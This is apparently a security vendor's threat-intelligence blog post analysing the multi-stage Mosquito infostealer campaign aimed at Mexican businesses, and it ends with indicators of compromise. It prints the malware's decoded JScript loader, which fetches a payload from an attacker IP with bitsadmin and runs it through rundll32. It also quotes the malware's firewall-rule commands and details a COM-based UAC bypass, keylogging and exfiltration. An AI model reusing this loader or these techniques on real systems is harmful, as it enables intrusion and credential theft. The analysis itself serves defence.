Mosquito the new Infostealer arrives to Mexico
January, 25, 2024
14 minutes read
Context
The Threat Intelligence team at Metabase Q has recently identified a new variant of a Brazilian-based Infostealer dubbed as Mosquito by Ocelot team. Initially hitting Brazil in a campaign back in July 2023, Mosquito has recently emerged in a new campaign specifically targeting businesses in Mexico, employing sophisticated techniques and multi-stage infection chains similar to the well known sophisticated banking Trojan Carbanak. The purpose of this blog is to share indicators of compromise with the community to help implement proactive measures to mitigate this emerging threat.
Metabase Q protection strategy
At Metabase Q, we are focused on constantly updating our systems and protection strategy for new attackers and techniques. Following this discovery, our team, and platform rapidly integrated the Botnet Fenix techniques into our Batuta Platform for optimal detection and response:
- Threat Intelligence: Metabase Q Threat Intelligence team extracts Mosquito techniques, indicators of compromise, and updates actor’s profiling database.
- Initiates the takedown process of malicious domains
- Crimeware Simulation: The Ocelot team reverse engineers Mosquito’s components, codes it from scratch in our lab, and adds it to our Batuta platform to replicate it and test it in our customers’ networks.
- Blue Team: The SOC team is trained with the latest techniques identified, and hunting detections implemented for tracking.
- Security Validation: Detection Gaps identified, and time to Detect & Response improved.
Figure 1. Batuta Platform
In the next section, we will provide a comprehensive technical analysis to guide proactive defensive strategies.
Analysis using the Diamond Model
Adversary
Mosquito | |
Status | Active |
Source Country | Brazil |
Since | May 2023 |
Last Activity | December 2023 |
Adversary Type | M.a.a.S. (Malware as a Service), InfoStealer |
Motivation | Financial Gain |
Related Groups | Not identified |
Table 1. Adversary
Victims
Figure 2.
Affected Sector | End users in multiple sectors |
Affected countries or regions. | Argentina, Brazil, Chile, España, Mexico, Panama, Peru, Spain, United States |
Affected global organizations. | End users of Mexican companies |
Affected Mexican organizations | End users of Global companies |
Table 2. Victims
Capabilities
Tactics, Techniques, and Procedures (TTPs)
- Distribution vector through phishing (malvertising).
- Multi-stage infection chain.
- DLL Side Loading.
- Injection of malicious code into remote processes.
- XOR decryption technique to decode its configuration file.
- Gathering crucial system information, as well as data related to installed browsers.
- Communication with attackers’ command and control server in an encoded format.
Infrastructure
Technology
- Command & Control.
- Multiple components.
Technical analysis
The following analysis focuses on a campaign targeting Mexican organizations. The complexity of the multi-stage infection process is illustrated below:
Figure 3. Infection process
- The initial infection begins with the delivery of a phishing email containing a malicious PDF attachment.
Figure 4. Phishing with malicious content - Within its code, the following can be observed:A: It performs Operating System language validation, looking for the Mexican one.B: Upon satisfying the aforementioned condition, it downloads the file corresponding to the next stage.
Figure 5. MSI Extract Code
Figure 6. MSO Language IDDuring the execution of the file, the pop-up window shown in Figure 7 (customized by the threat actor), is displayed:
Figure 7. Pop-up Custom Window - Then the MSI installer downloads an XML file, this new file has an eval function that receives a UTF-16 encoded string as a parameter. Below the result of the decoded blob:
function NzBMGJ(base64) { var ADODB = new ActiveXObject("ADODB.Stream"); // Converte a string base64 para um array de bytes var decodedBytes = []; var dom = new ActiveXObject("Microsoft.XMLDOM"); var elem = dom.createElement("tmp"); elem.dataType = "bin.base64"; elem.text = base64; var byteArray = elem.nodeTypedValue; // Abre o ADODB.Stream e escreve o array de bytes ADODB.Type = 1; // adTypeBinary ADODB.Open(); ADODB.Write(byteArray); ADODB.Position = 0; return ADODB; } function FrhVE(stream, filePath) { try { var fileStream = new ActiveXObject("ADODB.Stream"); fileStream.Type = 1; fileStream.Open(); fileStream.Write(stream.Read()); fileStream.SaveToFile(filePath, 2); fileStream.Close(); return true; } catch (e) { return false; } } function WCOcO(dllPath, functionName) { var shell = new ActiveXObject("WScript.Shell"); var command = "rundll32 " + dllPath + "," + functionName; try { shell.Run(command, 0, false); return true; } catch (e) { return false; } } var tempPath = AWxAP(); var NameR = leyGgr(10) + ".tmp"; var NameD = leyGgr(10) + ".tmp"; var NameFileTemp = tempPath + "\\" +NameR; var NameFileTempD = tempPath + "\\" +NameD; var url = "http://107.158.94.115/Game/a.jpg"; if (KFOqQO(url, NameFileTemp)) { if ((NameFileTemp)) { var FILEText = CjWAn(NameFileTemp); FILEText = MSfaTZDPw(FILEText); var stream = NzBMGJ(FILEText); FrhVE(stream,NameFileTempD); WCOcO(NameFileTempD,"C03345 a34332078607e2475635f256d61674f2531313e24393e2835313e2730313f2f2a307474786a333327607a6e226f256d61674f2531313e24393e2835313e2730313f2f2a307474786a3233223a31332"); } }
Examination of this new code reveals a new image file to be downloaded:
Figure 8. Next stage URL
This “image” is downloaded with the legitimate bitsadmin Windows tool and saved in the user’s%TEMP% path, with a random name and .tmp extension:
function KFOqQO(url, destino) { var shell = new ActiveXObject("WScript.Shell"); var comando = "bitsadmin /transfer myDownloadJob /download /priority foreground " + url + " " + destino; try { shell.Run(comando, 0, true); return true; } catch (e) { return false; } }
The image bytes are reversed and Base64 encoded. Once decoded, the resulting file is a DLL that is run via rundll32 command:
function WCOcO(dllPath, functionName) { var shell = new ActiveXObject("WScript.Shell"); var command = "rundll32 " + dllPath + "," + functionName; try { shell.Run(command, 0, false); return true; } catch (e) { return false; } }
The DLL has only one export function named C03345:
Figure 9. Exported function
Analyzing the DLL
By looking at the PDB path, we identify the username “Musquitao” and a path describing a project created for the campaign in Mexico (2023_MX):
C:\Users\Musquitao\Desktop\2023_MX\LOAD_2023\DLL-CPP\D\x64\Release\D.pdb
Figure 10. “Musquitao” user identified
This DLL creates a .ini file with the hostname as the name at %Public%\Documents:
Figure 11. INI configuration file
This INI file contains the name of all components used in the infection chain, even though it is obfuscated.Simultaneously, the DLL decodes the modules of the next stages at runtime and drops them in the directory at:
%Public%\Documents\%USERNAME%
Figure 13 shows the decoded files, which have names randomly selected from an embedded list and stored in the .ini file for further references:
Figure 12. Decoded files from krita.dll
Finally, here is the .ini file decoded, where multiple modules are identified:
<USER_ID>@</USER_ID> <DRAFT_CLIENTE>null</DRAFT_CLIENTE> <DLL_INJECT>%Public%Documents\user\prproc.exe</DLL_INJECT> <DLL_UP>%Public%Documents\user\NETSTAT.EXE</DLL_UP> <EXE_UAC>%Public%Documents\user\UtcDecoderHost.exe</EXE_UAC> <EXE_PROXY>%Public%Documents\user\WindowsActionDialog.exe</EXE_PROXY> <DLL_PROXY>%Public%Documents\user\krita.dll</DLL_PROXY> <DLL_PRO>%Public%Documents\user\edpnotify.exe</DLL_PRO> <EXE_LOGINS>%Public%Documents\user\winrshost.exe</EXE_LOGINS> <USER_OS>@</USER_OS>
- DLL_INJECT: This module does the process injection
- DLL_UP: This module is the injected one and checks if the process is elevated
- EXE_UAC: This modules bypasses the Windows UAC for elevation
- EXE_PROXY: This legitimate Krita installer (krita_installer.exe) renamed as “WindowsActionDialog.exe” that side-loads malicious DLL krita.dll
- DLL_PROXY: Malicious DLL krita.dll
- DLL_PRO: The final module, the Infostealer
- EXE_LOGINS: Module to log the activities
All the files in the .ini configuration file are the same that the DLL decoded in the path
%Public%Documents\user:
Figure 13. Same file names that are in .ini configuration file
Before completing the DLL execution, a shortcut to WindowsActionDialog.exe is added to the Windows startup folder to establish persistence. Subsequently, DLL restarts the device:
Figure 14. WindowsActionDialog.exe in Windows startup folder
WindowsActionDialog and Krita.dll
After the device restart, the legitimate Krita installer (renamed as WindowsActionDialog.exe) is executed. Then this installer sideloads the malicious DLL, krita.dll.
Figure 15. krita.dll string found
The filename ‘krita.dll’ is specified in the .ini configuration file with the tag <DLL_PROXY> as:
<DLL_PROXY>%Public%Documents\user\krita.dll</DLL_PROXY>
But where does krita.dll come from?
Krita is a free and open-source painting program, andWindowsActionDialog.exe is the legitimate krita desktop installer. However, this executable is vulnerable to DLL side-loading, and therefore used to run krita.dll DLL.
Find out more information about DLL side-loading at this blog:
https://www.metabaseq.com/filezilla-dll-side-loading/
Krita.dll Analysis
Now, let’s delve into the analysis of the malicious krita.dll and its exports; this is the DLL_PROXY component:
Figure 16. Fake krita.dll, this is the malicious one
Next, in Figure 17, the legitimate krita.dll DLL is displayed, featuring only one export function.
Figure 17. Original krita.dll and its exports
There are significant differences. The malicious krita.dll executes the following steps:
- Firstly, the DLL retrieves the hostname, opens the .ini configuration file and locates the <DLL_INJECT> tag, to determine the next file to be loaded, as detailed in step 2.
Figure 18. DLL getting the hostname
Figure 19. DLL_INJECT tag from .ini file - Next, the file is read and decoded into a new file at %TEMP% directory with a random name and .tmp extension:
Figure 20. New DLL dropped into %TEMP% pathSubsequently, this new .tmp file is loaded with LoadLibrary API since it is a DLL:
Figure 21. LoadLibrary API to load the new DLL
Figure 22. DLL name loaded from diskFollowing this, GetProcAddress is called to load and execute AtlThunk_IniData export:
Figure 23. GetProcAddress lpProcName parameterFurther details about this new DLL known as DLL_INJECT, are provided in the next section.
DLL_INJECT
The figure 25 shows the exports of the new DLL:
Figure 24. Exports of DLL_INJECT
Figure 25. DLL_INJECT’s pdb file
This new DLL performs the same action as the previous DLL. Obtaining the hostname, opening the configuration file, and searching for a tag to load the next module. The next module is <DLL_UP>:
Figure 26. Next stage tag
Once again, the DLL content is decoded, and injected into the explorer.exe memory space, employing a well-known injection technique. This technique, facilitated by the CreateRemoteThread API, ultimately transfers the execution flow to the new DLL (DLL_UP component).
Figure 27. Process injection steps
DLL_UP:
Figure 28. DLL_UP’s pdb file
The DLL injected into the explorer.exe process creates a Mutex name depending on its parent process:
- If the parent process is winlogon.exe, it creates a “winlogon” Mutex
- Otherwise, it creates a Mutex with the name: “explorer”
Figure 29. Mutex code block
Subsequently, the DLL checks if the process is elevated, if it is not, the DLL reads the .ini configuration file and retrieves the filename specified in the < EXE_UAC> label, attempting to escalate privileges.
EXE_UAC:
Figure 30. EXE_UAC pdb string
This new binary is injected into another explorer.exe process that was created in a suspended state.
This module is responsible for performing User Account Control (UAC) bypass, achieved by utilizing theCOM Elevation Moniker “Elevation:Administrator!new:{GUID}” Object. This step involves the use of the following CLSIDs:
- {3AD05575-8857-4850-9277-11B85BDB8E09} – Provides copy, move, rename and delete operations
- {BDB57FF2-79B9-4205-9447-F5FE85F37312} – Facilitates the installation of Internet Explorer add-ons capabilities
Figure 31. COM object string
The malware uses {3AD05575-8857-4850-9277-11B85BDB8E09} COM object to copy the “cmd.exe” file from its original location in %System32% folder to the %TEMP% directory with administrator privileges. Subsequently, it renames this file to [1]bdeunlock.exe using the same COM object.
Figure 32. “cmd.exe” renamed
Following this, the second COM object is used: {BDB57FF2-79B9-4205-9447-F5FE85F37312}
To execute the WindowsActionDialog.exe (krita_loader) with elevated privileges and side-loads krita.dll with administrator privileges.
Once krita.dll is loaded with administrator privileges, it follows the same flow as discussed earlier.
The next step is to inject DLL_UP into the winlogon.exe process:
Figure 33. “winlogon.exe” PID
Then the DLL_UP creates the “Winlogon” mutex and searches for a firewall rule named as the hostname:
C:\Windows\system32\cmd.exe /C netsh advfirewall firewall show rule name="DESKTOP-AH39K"
If the rule does not exist, it is created to allow explorer.exe Internet access:
C:\Windows\system32\cmd.exe /C netsh advfirewall firewall add rule name="DESKTOP-AH39K" dir=in action=allow program="C:\Windows\explorer.exe" enable=yes
Once the rule is in place, the next step involves opening the “explorer.exe” process to inject the final module in the infection chain. This module is referred to in the configuration file as <DLL_PRO>.
DLL_PRO Analysis
This is the final step and serves as the Infostealer component. It adds the Secure Bridge library used to protect TCP traffic using SSH or SSL protocols:
Figure 34. DLL_PRO project path
This DLL has an interesting export BeginX:
Figure 35. DLL_PRO exported functions
This DLL starts collecting information about the infected system. Firstly, it gathers the following information that will be exfiltrated:
- OS Version
- OS Architecture
- Installed Internet Browsers
- Username
- Hostname
- DLL Version
Next, the malware decodes the following strings:
'_GetDadosUrlIP: ' '_GetDadosWinProductName : ' '_GetDadosVersaoBitsWindows : ' '_GetDadosNomeComputador : ' '_GetDadosVersaoDLL : ' '_GetDadosAllNavCliente : ' '_GetDadosPluginCliente : ' '_GetDadosPastaTEMP : '
The initial data exfiltrated is shown below:
_GetDadosUrlIP: hxxp://www.zautoservice.eu _GetDadosWinProductName : Windows 10 Pro _GetDadosVersaoBitsWindows : 64x _GetDadosNomeComputador : DESKTOP-AH39K _GetDadosVersaoDLL : ::03/10/2023:: _GetDadosAllNavCliente : [Iexplorer][Edge] _GetDadosPluginCliente : NULL _GetDadosPastaTEMP : %Public%Documents
And is exfiltrated via POST request to hxxp[:]//www.zautoservice.eu:
Figure 36. POST command to exfiltrate the information
And if the log.true file exists, then the data is also written into log.log file under %Public%Documents:
Figure 37. Logging data capability
The next step is to create a couple of hidden windows named as “MagnifierHost” and “MagnifierWindow”. These windows will help in capturing screens from the victims.
Figure 38. Windows creation routine
Then the malware continues by deploying a keyboard hook to intercept keystrokes from the victims:
Figure 39. Keyboard hook
And finally the malwares continues running to monitor which browser is opened by the end user, normally looking for online banking sessions to steal credentials or even to open a remote session to watch what the victim is doing:
Figure 40. “Monitorador view foi fechado” = “Monitor view has been closed”
Finally, the malware possesses the capability to take screenshots and send them via POST request, exhibiting behavior similar to that of Carbanak actors.
Figure 41. Screenshot routine
Conclusions
This brazilian-based Infostealer, exhibits advanced techniques seen previously observed in groups like Carbanak focused on the financial sector, showing a new era of sophistication in the LATAM region. The multi-stage approach makes it difficult for technologies and analysts to catch the final stage and therefore complicates the identification of the domain where the data is finally exfiltrated.
Customers at Metabase Q can directly run the latest Tactics, Techniques, and Procedures (TTPs) described in this blog from the ZeroAPT technology at the Batuta platform. This allows our customers to measure control visibility and assess the time it takes for detection and response from the SOC Team:
Figure 42. ZeroAPT SaaS Platform
IOCS
- Domain
- zautoservice[.]eu
- IP Address
- 107[.]158[.]94[.]112
- Filename:
- DLL_load.dll
- krita.dll
- DLL_IN.dll
- DLL_UP.dll
- DLL_load.tmp
- krita.tmp
- DLL_IN.tmp
- DLL_UP.tmp
- Hashes
- MD5
- 1faf16a00e5fbe14916d5ca25ec9cc99
- 2fc6d9d9423f91435e7244bc1ad9b145
- 36b07d5222c773f0360af531e805baac
- 3d3ec490e03a2ef65a9b9d0e4cbebaa3
- 4d2838fc52d22c0be48c0af9804fbb3e
- 4d7d6467795958cda2643232abcc7bc9
- 57a02fcb09716862814d096276d20377
- 6c6441ac494f3c78f2ea122549d6c0ba
- 80c3e61945c9b333bf29f1098ce03a2a
- 82709803d538e9b145d1100b3be4cbc2
- 904d9d44995a7cd10258f067e7874e55
- 9bbc7fb0bf144a4a70c6682abdb328f4
- be3e8b881c9b2641fb65320bca17e2fb
- db6eb4d134058d71a275683cf3a59245
- e14e7dedc98322dc23febdb6711f8fec
- e403f4444a69a80ae1aefd0c096b81a0
- e6e3c50948d15e042d769ae514333e60
- f46a6c1c007953cc60bfb528dafa91a5
- MD5
- URL
- https[:]//hper[.]in/ckywe96
- https[:]//www[.]superdownload[.]download/?Id=bWFpbC91LzAvI2luYm94&token=otihun24h6btfih33u4k8
- http[:]//80[.]190[.]75[.]42/arquivo_anexo.pdf
- http[:]//80[.]190[.]74[.]36/70453477219/file/file.php??427677989
- https[:]//drive[.]google[.]com/u/0/1/abc/def/ghi[.]7z
- https[:]//jf27z[.]app[.]goo[.]gl/eJZR9poW7FC968n47
- httP[:]//107[.]158[.]94[.]115/Game/